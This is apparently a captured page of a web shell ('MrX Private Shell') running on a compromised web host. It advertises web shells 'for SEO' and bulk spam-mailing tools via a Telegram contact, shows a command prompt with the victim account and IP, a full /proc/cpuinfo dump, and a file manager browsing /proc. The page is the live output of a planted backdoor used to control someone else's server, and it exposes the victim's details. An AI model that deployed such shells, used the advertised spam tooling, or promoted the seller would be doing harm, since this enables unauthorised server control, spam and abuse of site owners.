__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

kentishfootball@216.73.216.211: ~ $
processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 158
model name	: Intel(R) Xeon(R) CPU E3-1230 v6 @ 3.50GHz
stepping	: 9
microcode	: 0xd6
cpu MHz		: 3500.000
cache size	: 8192 KB
physical id	: 0
siblings	: 8
core id		: 0
cpu cores	: 4
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 22
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu cpuid_faulting pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch epb intel_pt ssbd ibrs ibpb tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp
bogomips	: 7008.00
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

processor	: 1
vendor_id	: GenuineIntel
cpu family	: 6
model		: 158
model name	: Intel(R) Xeon(R) CPU E3-1230 v6 @ 3.50GHz
stepping	: 9
microcode	: 0xd6
cpu MHz		: 3500.000
cache size	: 8192 KB
physical id	: 0
siblings	: 8
core id		: 1
cpu cores	: 4
apicid		: 2
initial apicid	: 2
fpu		: yes
fpu_exception	: yes
cpuid level	: 22
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu cpuid_faulting pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch epb intel_pt ssbd ibrs ibpb tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp
bogomips	: 7008.00
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

processor	: 2
vendor_id	: GenuineIntel
cpu family	: 6
model		: 158
model name	: Intel(R) Xeon(R) CPU E3-1230 v6 @ 3.50GHz
stepping	: 9
microcode	: 0xd6
cpu MHz		: 3500.000
cache size	: 8192 KB
physical id	: 0
siblings	: 8
core id		: 2
cpu cores	: 4
apicid		: 4
initial apicid	: 4
fpu		: yes
fpu_exception	: yes
cpuid level	: 22
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu cpuid_faulting pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch epb intel_pt ssbd ibrs ibpb tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp
bogomips	: 7008.00
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

processor	: 3
vendor_id	: GenuineIntel
cpu family	: 6
model		: 158
model name	: Intel(R) Xeon(R) CPU E3-1230 v6 @ 3.50GHz
stepping	: 9
microcode	: 0xd6
cpu MHz		: 3500.000
cache size	: 8192 KB
physical id	: 0
siblings	: 8
core id		: 3
cpu cores	: 4
apicid		: 6
initial apicid	: 6
fpu		: yes
fpu_exception	: yes
cpuid level	: 22
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu cpuid_faulting pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch epb intel_pt ssbd ibrs ibpb tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp
bogomips	: 7008.00
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

processor	: 4
vendor_id	: GenuineIntel
cpu family	: 6
model		: 158
model name	: Intel(R) Xeon(R) CPU E3-1230 v6 @ 3.50GHz
stepping	: 9
microcode	: 0xd6
cpu MHz		: 3500.000
cache size	: 8192 KB
physical id	: 0
siblings	: 8
core id		: 0
cpu cores	: 4
apicid		: 1
initial apicid	: 1
fpu		: yes
fpu_exception	: yes
cpuid level	: 22
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu cpuid_faulting pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch epb intel_pt ssbd ibrs ibpb tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp
bogomips	: 7008.00
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

processor	: 5
vendor_id	: GenuineIntel
cpu family	: 6
model		: 158
model name	: Intel(R) Xeon(R) CPU E3-1230 v6 @ 3.50GHz
stepping	: 9
microcode	: 0xd6
cpu MHz		: 3500.000
cache size	: 8192 KB
physical id	: 0
siblings	: 8
core id		: 1
cpu cores	: 4
apicid		: 3
initial apicid	: 3
fpu		: yes
fpu_exception	: yes
cpuid level	: 22
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu cpuid_faulting pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch epb intel_pt ssbd ibrs ibpb tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp
bogomips	: 7008.00
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

processor	: 6
vendor_id	: GenuineIntel
cpu family	: 6
model		: 158
model name	: Intel(R) Xeon(R) CPU E3-1230 v6 @ 3.50GHz
stepping	: 9
microcode	: 0xd6
cpu MHz		: 3500.000
cache size	: 8192 KB
physical id	: 0
siblings	: 8
core id		: 2
cpu cores	: 4
apicid		: 5
initial apicid	: 5
fpu		: yes
fpu_exception	: yes
cpuid level	: 22
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu cpuid_faulting pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch epb intel_pt ssbd ibrs ibpb tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp
bogomips	: 7008.00
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

processor	: 7
vendor_id	: GenuineIntel
cpu family	: 6
model		: 158
model name	: Intel(R) Xeon(R) CPU E3-1230 v6 @ 3.50GHz
stepping	: 9
microcode	: 0xd6
cpu MHz		: 3500.000
cache size	: 8192 KB
physical id	: 0
siblings	: 8
core id		: 3
cpu cores	: 4
apicid		: 7
initial apicid	: 7
fpu		: yes
fpu_exception	: yes
cpuid level	: 22
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu cpuid_faulting pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch epb intel_pt ssbd ibrs ibpb tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp
bogomips	: 7008.00
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:


Filemanager

Name Type Size Permission Actions
361456 Folder 0555
361462 Folder 0555
361466 Folder 0555
361467 Folder 0555
361470 Folder 0555
361471 Folder 0555
361473 Folder 0555
361474 Folder 0555
net Folder 0555
self Folder 0555
sys Folder 0555
cmdline File 0 B 0444
cpuinfo File 0 B 0444
filesystems File 0 B 0444
loadavg File 0 B 0444
meminfo File 0 B 0444
mounts File 0 B 0444
stat File 0 B 0444
uptime File 0 B 0444
version File 0 B 0444
Filemanager